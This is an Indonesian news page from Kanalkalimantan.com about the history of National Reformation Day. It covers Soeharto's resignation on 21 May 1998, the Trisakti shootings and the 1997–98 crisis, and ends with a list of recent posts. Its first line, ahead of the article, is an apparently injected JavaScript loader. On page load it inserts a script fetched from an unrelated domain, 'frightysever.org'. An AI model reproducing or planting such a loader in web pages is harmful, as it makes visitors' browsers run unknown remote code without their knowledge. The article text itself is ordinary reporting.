(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

21 Mei: Sejarah Hari Peringatan Reformasi nasional


KANALKALIMANTAN.COM – Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia pada peristiwa 1998 dan lengsernya Presiden Soeharto di penghujung Orde Baru.

Peristiwa itu menjadi penanda berakhirnya rezim orde baru yang berganti ke masa peralihan atau reformasi. Tahun 1998 menjadi salah satu momen bersejarah bagi Indonesia karena dipenuhi konflik dan huru-hara, mulai dari aksi demo besar-besaran hingga kasus penculikan para aktivis, serta tragedi Trisakti yang menewaskan sejumlah mahasiswa.

Berbagai krisis yang tak terselesaikan menjadi catatan hitam era kepemimpinan orde baru yang telah berkuasa selama 32 tahun. Karena ketidakpuasan terhadap pemerintah, masyarakat Indonesia terutama mahasiswa menyuarakan reformasi guna membawa perubahan yang lebih baik bagi bangsa. Reformasi ini memicu mundurnya Presiden Soeharto diikuti perubahan besar-besaran pada sistem pemerintahan.

Baca juga: Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

Hari Reformasi Nasional 21 Mei diambil dari tanggal mundurnya Presiden Soeharto 21 Mei 1998. Gerakan reformasi bukan semata-mata didasarkan pada berakhirnya orde baru saja, melainkan adanya faktor dorongan dari krisis ekonomi, politik, hukum, dan sosial.

Krisis moneter tahun 1997-1998 memicu protes besar masyarakat, banyak aktivis hilang saat memperjuangkan reformasi, mosi ketidakpuasan terhadap pemerintahan saat itu juga menjadi pemicu lahirnya gelombang reformasi, dari titik ini, organisasi mahasiswa di seluruh Indonesia serentak mengadakan aksi unjuk rasa besar-besaran hingga memicu huru-hara nasional.

Baca juga: Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Pada tanggal 12 Mei 1998 terjadi pristiwa besar dikenal sebagai tragedi Trisakti. Empat mahasiswa tertembak mati, hal ini semakin membuat masyarakat lantang menyuarakan perubahan.

Tanggal 21 Mei 1998 sebagai babak baru pemerintahan di Indonesia dikenal sebagai Hari Reformasi Nasional. (Kanalkalimantan.com/kk)

Editor : kk


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

4 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.